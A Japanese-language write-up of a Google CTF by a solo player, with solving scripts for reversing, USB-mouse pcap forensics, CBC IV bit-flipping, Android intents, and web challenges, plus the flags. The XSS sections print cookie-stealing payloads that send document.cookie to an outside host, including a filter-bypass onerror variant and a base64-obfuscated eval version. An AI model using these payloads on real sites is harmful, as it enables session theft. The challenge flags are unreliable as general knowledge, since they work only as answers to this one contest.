Google Capture The Flag Write-up

https://capturetheflag.withgoogle.com/

たぶんGoogle初のCTF。ぼっちチームsuperflipは955点で107位。

<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/fc99359b-45d0-6980-b171-984f42aadb1f.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/fc99359b-45d0-6980-b171-984f42aadb1f.png" width="640"></a>

Googleらしく全体的にクオリティが高かった気がする。SSLが当たり前になっていてすごい。1日しか参加できなかったから仕方が無いが、もう少し解きたかった。

# Reverse Engineering

## Audio Visual Receiver code
`u`, `d`, `l`, `r`, `a`, `b`を入力するたびに文字に応じて`state`の値が変わっていく。その都度、`check^=state`が実行されて、`a`を入力したときには`check`の値が確認される。30文字になったら、これまでの`state`の値と埋め込まれていた値のxorが取られ、フラグとして出力される。6通りで全探索は厳しそうだが、`check`の値の確認とフラグがASCII文字列になるという制約があるので、計算できる。

```py
def up(s): return (s*3)&0xff
def down(s): return (((s>>1<<3)&0xff)-(s>>1))&0xff
def left(s): return (s<<1)&0xff
def right(s): return (s>>3|s<<5)&0xff
def a(s): return (s<<4|s>>4)&0xff
def b(s): return s^0xff
op = [up, down, left, right, a, b]

A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}_-"
C = [0x46, 0x5B, 0x6B, 0xE1, 0x6F, 0x5E, 0xA3, 0xD3, 0xA2, 0x1C, 0x82, 0xED, 0x62, 0x24, 0x67, 0x71, 0xDD, 0x6D, 0xF3, 0x20, 0x83, 0x8D, 0xCA, 0x3E, 0x33, 0xC8, 0x75, 0x5A, 0x68, 0x87]
D = ["x"]*len(C)
Cross = [0x25, 0x68, 0xef]


def BT(P, state, check, depth, maxdepth, cross):
    D[depth] = chr(C[depth]^state)
    if D[depth] not in A:
        return
    if depth==maxdepth:
        if cross==2:
            print "".join(D)
        return
    for x in [0, 1, 2, 3, 4, 5]:
        if x==4 and check^state != Cross[cross]:
            continue
        BT(P+[x], op[x](state), 0 if x==4 else check^state, depth+1, maxdepth, cross+1 if x==4 else cross)

BT([], 5, 0, 0, 0x1d, 0)
```

これで、候補がいくつか出てくるので、フラグっぽいものを選んだ。

`CTF{the_3rd_time_is_the_charm}`

# Forensics

## For2
USBの通信のpcap。各パケットで、0xf0から0x10くらいまでの間で変化している値があるので、マウスか何かの差分だと当たりをつけてプロットした。そのままでは線がゴチャゴチャして見づらかったが、隣に0と1に変化する値があってこれがマウスが押されているかどうからしいので、1の場所のみをプロットしたら答えが見えた。

```py
import struct

d = open("capture.pcapng", "rb").read()
x, y = 0, 0
for p in range(0x195c, len(d), 0x40):
    f, dx, dy = struct.unpack("bbb", d[p+0x1b:p+0x1e])
    x += dx
    y += dy
    if f:
        print "%d\t%s"%(x, y)
```

![image](https://qiita-image-store.s3.amazonaws.com/0/25276/07033caa-0046-406d-df9a-55b35508feac.png)

`tHE`は線が繋がっていて読み取りづらいし、大文字小文字は分かりづらいし、ひどい。

`CTF{tHE_cAT_iS_the_cULpRiT}`

## In Recorded Conversation

IRCの通信の様子。WiresharkでFollow TCP Streamした。

`CTF{some_leaks_are_good_leaks_}`

# Crypto

## Eucalypt Forest

CBCモードで暗号化したセッション情報とIVをCookieに書くことにしたらしい。IVのビットを反転すれば、平文のビットも反転する。`cdmin`でログインしたら、Cookieは、`5a71adf6a37544a1dd6f08aa994aa1300780f897e5a67b52c70c38a23e1bec7032cac248ddc20b88737047d70b1399b9`となった。`c`にあたる部分の下から2ビット目を反転させれば`admin`になる。

```
{ " u s e r n a m e " :   " c d m i n " }
5a71adf6a37544a1dd6f08aa994aa1300780f897e5a67b52c70c38a23e1bec7032cac248ddc20b88737047d70b1399b9
                             ^ここ
5a71adf6a37544a1dd6f08aa994aa3300780f897e5a67b52c70c38a23e1bec7032cac248ddc20b88737047d70b1399b9
{ " u s e r n a m e " :   " a d m i n " }
```

`CTF{lettuce.3njoy.our.f00d.puns}`

# Mobile

## Ill Intentions

Androidアプリ。特定のインテントを送るとブロードキャストでフラグが返ってくるらしい。Androidアプリを書くのが面倒だったので、`am`コマンドでインテントを送った。

```
adb shell am start -n com.example.hellojni/com.example.application.IsThisTheRealOne
```

ブロードキャストの受信はできないけれど、この時点で端末のメモリ中にフラグの値が存在するはずなので、エミュレータのメモリをダンプして検索した。

`CTF{IDontHaveABadjokeSorry}`

## Can you repo it?

5点問題。Ill Intentionsの作者はパブリックリポジトリがどうこうと書いてある。`aapt.exe d strings illintentions.apk`で文字列をダンプすると、`l33tdev42`という文字列が出てくる。文字列と識別子の対応を取る方法が分からないけど、`resources.arsc`の中には`git_user`という文字列もある。この人のGitHubを見に行くと、間違って追加したパスワードを消していた(ﾉ∀`)ｱﾁｬｰ

https://github.com/l33tdev42/testApp/commit/5b315cbbfaa2da9502ffae73f283d36d89f92194

`ctf{TheHairCutTookALoadOffMyMind}`

# Web

## Wallowing Wallabies - Part One

最初はどこから手を付けて良いのか分からなかったが、robots.txtにURLが書いてある。

XSSする問題。`<script src="`を含む文字列を書けと言われたので、`<script src="http://sanya.sweetduet.info/tmp/hoge.js"></script>`と書いた。hoge.jsは、

```js
location.href="http://sanya.sweetduet.info/tmp/hoge.js?"+document.cookie;
```

サーバーのアクセスログを見て、Cookieを設定して、robots.txtの他のURLにアクセスしたらフラグが表示された。

`CTF{feeling_robbed_of_your_cookies}`

## Wallowing Wallabies - Part Two

第2弾。`<script>～</script>`は`**ANTI**HACKER**`に置換されてしまう。それならばと、`<img src=# onerror='～'>`と書いたが、`<img **ANTI**HACKER**# **ANTI**HACKER**'～'>`になってしまった。`<input autofocus onfocus='～'>`はそのまま書き込めるが、相手のブラウザで動かない模様。

`**ANTI**HACKER**#`と`=`まで消えているのが気になって、

```
<img src =# onerror ='location.href="http://sanya.sweetduet.info/tmp/hoge.js?"+document.cookie;'>
```

とスーペースを入れたら通った。

`CTF{strict_contextual_autoescaping_to_solve_your_xss_woes}`

## Ernst Echidna

ユーザー登録すると`md5-hash`というCookieが設定される、`md5(admin)`を設定するだけ。

`CTF{renaming-a-bunch-of-levels-sure-is-annoying}`

## Wallowing Wallabies - Part Three

XSS第3弾。素直にスクリプトが書けるかと思いきや、`.`が消える。

```html
<script>eval(atob("bG9jYXRpb24uaHJlZj0iaHR0cDovL3NhbnlhLnN3ZWV0ZHVldC5pbmZvL3RtcC9ob2dlLmpzPyIrZG9jdW1lbnQuY29va2llOw=="))</script>
```

`CTF{intents_is_the_INTENTed_way_to_solve_some_an_android_level}`

## Spotted Quoll

`obsoletePickle`というCookieが設定される。Pythonのシリアライズ。書き換えれば良い。

```py
>>> x = pickle.loads("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu".decode("base64"))
>>> x
{'python': 'pickles', 'subtle': 'hint', 'user': None}
>>> x["user"]="admin"
>>> print pickle.dumps(x).encode("base64")
KGRwMApTJ3B5dGhvbicKcDEKUydwaWNrbGVzJwpwMgpzUydzdWJ0bGUnCnAzClMnaGludCcKcDQKc1MndXNlcicKcDUKUydhZG1pbicKcDYKcy4=
```

`Your flag is CTF{but_wait,theres_more.if_you_call}`

# Networking

## Opabina Regalis - Token Fetch

[Protocol Buffers](https://developers.google.com/protocol-buffers/)。これを使うと異なる言語間で共通のバイナリフォーマットを扱えるらしい。XMLやjSONと違ってバイナリなのでサイズが大きくならない。

定義を`exchange.proto`というファイル名で保存して、`protoc.exe exchange.proto --python_out .`でPython用のファイルが出力される。

```py
from exchange_pb2 import Exchange

e = Exchange()
req = e.request
req.ver = Exchange.GET
req.uri = "/token"
header = req.headers.add()
header.key = "Accept-Encoding"
header.value = "blah"

from socket import *
from struct import *
from ssl import *

s = wrap_socket(socket(AF_INET, SOCK_STREAM))
s.connect(("ssl-added-and-removed-here.ctfcompetition.com", 1876))
d = e.SerializeToString()
print repr(d)
s.send(pack("<I", len(d)))
s.send(d)

l = unpack("<I", s.recv(4))[0]
d = s.recv(l)
print repr(d)
```

こんな感じで使う。結果が返ってこなくて、しばらく悩んだが。SSLで接続する必要があったからだった。`ssl-added-and-removed-here`の意味が分かっていなかった。

`/not-token`にリダイレクトされて、（なぜか一度切断するとダメなので、同一の通信で）`/not-token`にアクセスすると「これがトークンだ。`Server: opabina-regalis.go`」と言われ、それを付けると`/token`を見ろと言われるのでアクセスするとフラグが手に入る。

`CTF{WhyDidTheTomatoBlush...ItSawTheSaladDressing}`

これが終了45分前（だと思っていた時刻）で、「1000点突破した(･∀･)」と思ってサブミットしたら、「もうコンテストは終了してるよ」と言われた。コンテストの時刻が太平洋標準時で書かれていたけど、夏時間を考えていなかった。つらい。